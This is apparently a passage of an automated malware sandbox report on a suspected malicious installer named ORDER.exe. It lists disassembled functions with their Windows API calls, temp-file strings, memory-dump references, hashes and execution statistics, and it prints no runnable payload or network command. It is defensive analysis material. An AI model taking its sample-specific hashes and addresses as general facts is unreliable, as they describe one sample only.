Instruction Fuzzy Hash: 742190B1A44208BFEF41AFB4CD4AAAE7BB5EF40344F14453EF541B61D1D6B89A40E728

Function 00403A4C Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 71COMMON

Download Yara Rule

APIs

SetWindowTextA.USER32(00000000,00422F00), ref: 00403AE4

Strings

"C:\Users\user\Desktop\ORDER.exe", xrefs: 00403A4D
Stvkonsekvenserne115 Setup: Installing, xrefs: 00403A4F
1033, xrefs: 00403A50, 00403A5A, 00403ACB

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: TextWindow
String ID: "C:\Users\user\Desktop\ORDER.exe"$1033$Stvkonsekvenserne115 Setup: Installing
API String ID: 530164218-3959753696
Opcode ID: c20953c35db1116ecdf277b9f7b3923fed37fef6e8e5c3a171d6f7dc7f85f207
Instruction ID: 694a286dd4981efc18ef326c294584d4bec2a1602357d8abc11fec8a6f834ca0
Opcode Fuzzy Hash: c20953c35db1116ecdf277b9f7b3923fed37fef6e8e5c3a171d6f7dc7f85f207
Instruction Fuzzy Hash: EC11D4B1B046109BCB24DF15DC809337BBDEB8471A329813BE941A73A1C73D9E029A98

Function 004057C6 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00403201,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,77233410,004033C9), ref: 004057CC
CharPrevA.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,00403201,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,77233410,004033C9), ref: 004057D5
lstrcatA.KERNEL32(?,00409014), ref: 004057E6

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004057C6

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3355392842
Opcode ID: 890135f98a5a9138db31eb4b1572133a55ea61a04d2c03425938916b0e2dddc9
Instruction ID: c144259923a6e848a034fe90771ae4f3275bad2fdba58d127270a3e6eafdfb33
Opcode Fuzzy Hash: 890135f98a5a9138db31eb4b1572133a55ea61a04d2c03425938916b0e2dddc9
Instruction Fuzzy Hash: 00D0A962606A306BD20222168C09E8F6A08CF06300B044033F204B62B2C63C0D418FFE

Function 00401EDC Relevance: 6.1, APIs: 4, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeA.VERSION(00000000,?,000000EE), ref: 00401EEB
GlobalAlloc.KERNEL32(?,00000000,00000000,?,000000EE), ref: 00401F09
GetFileVersionInfoA.VERSION(?,?,?,00000000), ref: 00401F22
VerQueryValueA.VERSION(?,00409014,?,?,?,?,?,00000000), ref: 00401F3B

Part of subcall function 00405C94: wsprintfA.USER32 ref: 00405CA1

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: FileInfoVersion$AllocGlobalQuerySizeValuewsprintf
String ID:
API String ID: 1404258612-0
Opcode ID: ec7151e13ff031cd6146c14c1100c40685b360c9b493fb258c96d19e35a9089b
Instruction ID: 9791f4c70c1528f8983e13c97e2cb0ced061aec02aec85b9ff59acd402aedfa8
Opcode Fuzzy Hash: ec7151e13ff031cd6146c14c1100c40685b360c9b493fb258c96d19e35a9089b
Instruction Fuzzy Hash: A0117071901209BEDF01EFA5DD85DAEBBB9EF04344B20807AF505F61A1D7388E55DB28

Function 0040585F Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,?,C:\Users\user\AppData\Local\Temp\nsg5EDA.tmp,?,004058CB,C:\Users\user\AppData\Local\Temp\nsg5EDA.tmp,C:\Users\user\AppData\Local\Temp\nsg5EDA.tmp,?,?,77232EE0,00405616,?,C:\Users\user\AppData\Local\Temp\,77232EE0,00000000), ref: 0040586D
CharNextA.USER32(00000000), ref: 00405872
CharNextA.USER32(00000000), ref: 00405886

Strings

C:\Users\user\AppData\Local\Temp\nsg5EDA.tmp, xrefs: 00405860

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: CharNext
String ID: C:\Users\user\AppData\Local\Temp\nsg5EDA.tmp
API String ID: 3213498283-1753671414
Opcode ID: 2ea991d7d7ffd85479a521eab3fc1e567f9f9a9fdda000af801139d1d19966a1
Instruction ID: 725a23b4e930c3b6c27a7d0cd0e333612dd42f6c53d199a680129a9385ae8045
Opcode Fuzzy Hash: 2ea991d7d7ffd85479a521eab3fc1e567f9f9a9fdda000af801139d1d19966a1
Instruction Fuzzy Hash: 74F06253914F516AFB3276645C44B7B5A8CCF56361F188477EE40A62C2C2BC4C618F9A

Function 00404F93 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00404FC2
CallWindowProcA.USER32(?,?,?,?), ref: 00405013

Part of subcall function 00404038: SendMessageA.USER32(00010474,00000000,00000000,00000000), ref: 0040404A

Strings

, xrefs: 00404FA3

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: a1366604d20516d7a227b416e124a8c8ccbf6a8c92e3cea699473ae65b9a4b61
Instruction ID: 01da3f5901ddaf9404fa7d81b8fd4ad62d8e53e58d7af57a61279808ed2d7cb1
Opcode Fuzzy Hash: a1366604d20516d7a227b416e124a8c8ccbf6a8c92e3cea699473ae65b9a4b61
Instruction Fuzzy Hash: EA018F7110020DABDF209F11DC85E9F3B6AF784758F208037FA04752D1D77A8C92AAAE

Function 004058B4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00405D36: lstrcpynA.KERNEL32(?,?,00000400,00403287,00422F00,NSIS Error), ref: 00405D43

Part of subcall function 0040585F: CharNextA.USER32(?,?,C:\Users\user\AppData\Local\Temp\nsg5EDA.tmp,?,004058CB,C:\Users\user\AppData\Local\Temp\nsg5EDA.tmp,C:\Users\user\AppData\Local\Temp\nsg5EDA.tmp,?,?,77232EE0,00405616,?,C:\Users\user\AppData\Local\Temp\,77232EE0,00000000), ref: 0040586D
Part of subcall function 0040585F: CharNextA.USER32(00000000), ref: 00405872
Part of subcall function 0040585F: CharNextA.USER32(00000000), ref: 00405886

lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsg5EDA.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsg5EDA.tmp,C:\Users\user\AppData\Local\Temp\nsg5EDA.tmp,?,?,77232EE0,00405616,?,C:\Users\user\AppData\Local\Temp\,77232EE0,00000000), ref: 00405907
GetFileAttributesA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsg5EDA.tmp,C:\Users\user\AppData\Local\Temp\nsg5EDA.tmp,C:\Users\user\AppData\Local\Temp\nsg5EDA.tmp,C:\Users\user\AppData\Local\Temp\nsg5EDA.tmp,C:\Users\user\AppData\Local\Temp\nsg5EDA.tmp,C:\Users\user\AppData\Local\Temp\nsg5EDA.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsg5EDA.tmp,C:\Users\user\AppData\Local\Temp\nsg5EDA.tmp,?,?,77232EE0,00405616,?,C:\Users\user\AppData\Local\Temp\,77232EE0), ref: 00405917

Strings

C:\Users\user\AppData\Local\Temp\nsg5EDA.tmp, xrefs: 004058BA, 004058BF, 004058C5, 00405900, 00405906, 0040590E, 00405916

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsg5EDA.tmp
API String ID: 3248276644-1753671414
Opcode ID: 681a1499075d1ef18d3e94b36260b5cb5e6403957cf75bde6daaeed28ee23a5f
Instruction ID: cee4b60d78671bb78a10d3fddc0396ac835ea714c96625339261d657e7680c9f
Opcode Fuzzy Hash: 681a1499075d1ef18d3e94b36260b5cb5e6403957cf75bde6daaeed28ee23a5f
Instruction Fuzzy Hash: 0AF02823105D6026C63233391C09AAF1B95CE86368B24853FFC51B22D1DB3C8863DE7E

Function 004036F2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00000000,77232EE0,004036C9,77233410,004034D6,?), ref: 0040370C
GlobalFree.KERNEL32(00658D70), ref: 00403713

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403704

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-3355392842
Opcode ID: 86ea4e8f2e330b4051334ac2fa91e3adcb647da4565bec0431381526e270e322
Instruction ID: 0fe4964e98027e88380181352afc78dea88c0f551701ba437740c6db36bc47f5
Opcode Fuzzy Hash: 86ea4e8f2e330b4051334ac2fa91e3adcb647da4565bec0431381526e270e322
Instruction Fuzzy Hash: 0EE0EC7390512097C6215F96AD04B5ABB686B89B62F06842AED407B3A18B746C418BD9

Function 0040580D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(80000000,C:\Users\user\Desktop,00402CE5,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\ORDER.exe,C:\Users\user\Desktop\ORDER.exe,80000000,00000003), ref: 00405813
CharPrevA.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402CE5,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\ORDER.exe,C:\Users\user\Desktop\ORDER.exe,80000000,00000003), ref: 00405821

Strings

C:\Users\user\Desktop, xrefs: 0040580D

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-3370423016
Opcode ID: c27a981e79bb352b20b7a8c74a9367836393bd04b8b6ccbc39cacac652a51138
Instruction ID: ba052d51ab232c33a65bcd29671eceb75c11827358d6bb1c4ef4a0a5cf44e1aa
Opcode Fuzzy Hash: c27a981e79bb352b20b7a8c74a9367836393bd04b8b6ccbc39cacac652a51138
Instruction Fuzzy Hash: 94D0A77341AD701EE30372109C04B8F6A48CF16300F098462E440B61A0C2780C414BED

Function 100010E0 Relevance: 5.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(?,?), ref: 1000115B
GlobalFree.KERNEL32(00000000), ref: 100011B4
GlobalFree.KERNEL32(?), ref: 100011C7
GlobalFree.KERNEL32(?), ref: 100011F5

Memory Dump Source

Source File: 00000000.00000002.32238167410.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.32238142205.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.32238195639.0000000010003000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.32238224100.0000000010005000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_ORDER.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 6ef9e3687ab983c99c874163fdcc0ee6cc2800f994ca68b8431a209e6fec97f5
Instruction ID: 5d3a3765e571093bf703368c32e31ec5bfeafbef09712c331e02e9e13643e521
Opcode Fuzzy Hash: 6ef9e3687ab983c99c874163fdcc0ee6cc2800f994ca68b8431a209e6fec97f5
Instruction Fuzzy Hash: 6531ABB1808255AFF715CFA8DC89AEA7FE8EB052C1B164115FA45D726CDB34D910CB24

Function 0040592C Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405B5B,00000000,[Rename],00000000,00000000,00000000), ref: 0040593C
lstrcmpiA.KERNEL32(00405B5B,00000000), ref: 00405954
CharNextA.USER32(00405B5B,?,00000000,00405B5B,00000000,[Rename],00000000,00000000,00000000), ref: 00405965
lstrlenA.KERNEL32(00405B5B,?,00000000,00405B5B,00000000,[Rename],00000000,00000000,00000000), ref: 0040596E

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 0add82ed76356020c4ee8264c56a6ad6875436601f5ed096891bbb40787d2247
Instruction ID: 6acf3bc3cda9f3bfd2525b0ac34aa546eab038af588102683640af0afc927a81
Opcode Fuzzy Hash: 0add82ed76356020c4ee8264c56a6ad6875436601f5ed096891bbb40787d2247
Instruction Fuzzy Hash: 27F0C232604518FFC7129BA4DD40D9FBBA8EF06360B2500AAE800F7250D274EE019FAA

Analysis Process: ORDER.exePID: 3104, Parent PID: 7600COMMON

Execution Graph

Execution Coverage:	0%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	100%
Total number of Nodes:	1
Total number of Limit Nodes:	0

Executed Functions

Function 324634E0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 324634EA

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 70b8bb77f068bc56f6474067da954a8191f24d7b09e9e05170ad5baaeadaac86
Instruction ID: 0b13a2818f3eb406826e7bfd5d0432d0fca8ecbe95bfeaca14aa44be6e8c84b8
Opcode Fuzzy Hash: 70b8bb77f068bc56f6474067da954a8191f24d7b09e9e05170ad5baaeadaac86
Instruction Fuzzy Hash: 1990023160510402D600615C571474610054BD1201F62C816A0715528DD7A5895575A2

Function 32462A80 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 32462A8A

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a9d1cc097de12438bf9e2d6629dc850b1d732d55aefc8311c8315dc28441c974
Instruction ID: afacbf9b5220915ffbe5668cf39096166e23d8bdf8088c1345f4cdeb5c454bcf
Opcode Fuzzy Hash: a9d1cc097de12438bf9e2d6629dc850b1d732d55aefc8311c8315dc28441c974
Instruction Fuzzy Hash: D1900271202000034605715C5614656400A4BE1201B52C426E1305550DD53588957125

Function 32462BC0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 32462BCA

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f744bb2cc23400920018463b6db80630dd93c33dd849aa4260c26cc1a82b10c3
Instruction ID: 56f73318f3e2c843f0a5caf2e9c4ba3efa9a89432997b6a2c785e9ab78012344
Opcode Fuzzy Hash: f744bb2cc23400920018463b6db80630dd93c33dd849aa4260c26cc1a82b10c3
Instruction Fuzzy Hash: 1890023120100402D600659C660868600054BE1301F52D416A5315515ED67588957131

Function 32462B90 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 32462B9A

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b3cc465410fdd72689a93fbf33d43b8be82fbc5c8818ed557016cd336ae98a8c
Instruction ID: 26452ce04c17e08cd10daf5ec947267772a23c8468a064f9dd88df32445a0481
Opcode Fuzzy Hash: b3cc465410fdd72689a93fbf33d43b8be82fbc5c8818ed557016cd336ae98a8c
Instruction Fuzzy Hash: 1790023120108802D610615C960478A00054BD1301F56C816A4715618DD6A588957121

Function 32462EB0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 32462EBA

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f6560e513f4db9c8137e65e5430e8574cd9509010df6485ab1784dac679e09ce
Instruction ID: b02fdaddec448dc50455be6ed791796a1748d783761eeab878d09e5eb235c09e
Opcode Fuzzy Hash: f6560e513f4db9c8137e65e5430e8574cd9509010df6485ab1784dac679e09ce
Instruction Fuzzy Hash: 8690023120140402D600615C5A1474B00054BD1302F52C416A1355515DD63588557571

Function 32462D10 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 32462D1A

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: db4fb4be3fbcd22c65a75fea05dd28e542fc5b98c5ee1b311d721f5ac51d694b
Instruction ID: 59208ecb07a15a1c1a00b130ad9cd5539d864d1e3cc1173856e398c7f735f3d3
Opcode Fuzzy Hash: db4fb4be3fbcd22c65a75fea05dd28e542fc5b98c5ee1b311d721f5ac51d694b
Instruction Fuzzy Hash: E890023120100413D611615C570474700094BD1241F92C817A0715518DE6668956B121

Non-executed Functions

Function 324C9060 Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 558
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlDebugPrintTimes.NTDLL ref: 324C9208
RtlDebugPrintTimes.NTDLL ref: 324C92A7
RtlDebugPrintTimes.NTDLL ref: 324C9387
RtlDebugPrintTimes.NTDLL ref: 324C9465
RtlDebugPrintTimes.NTDLL ref: 324C956A
RtlDebugPrintTimes.NTDLL ref: 324C9601
RtlDebugPrintTimes.NTDLL ref: 324C9714
RtlDebugPrintTimes.NTDLL ref: 324C987C

Strings

, xrefs: 324C9704
0, xrefs: 324C9776
, xrefs: 324C9657

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

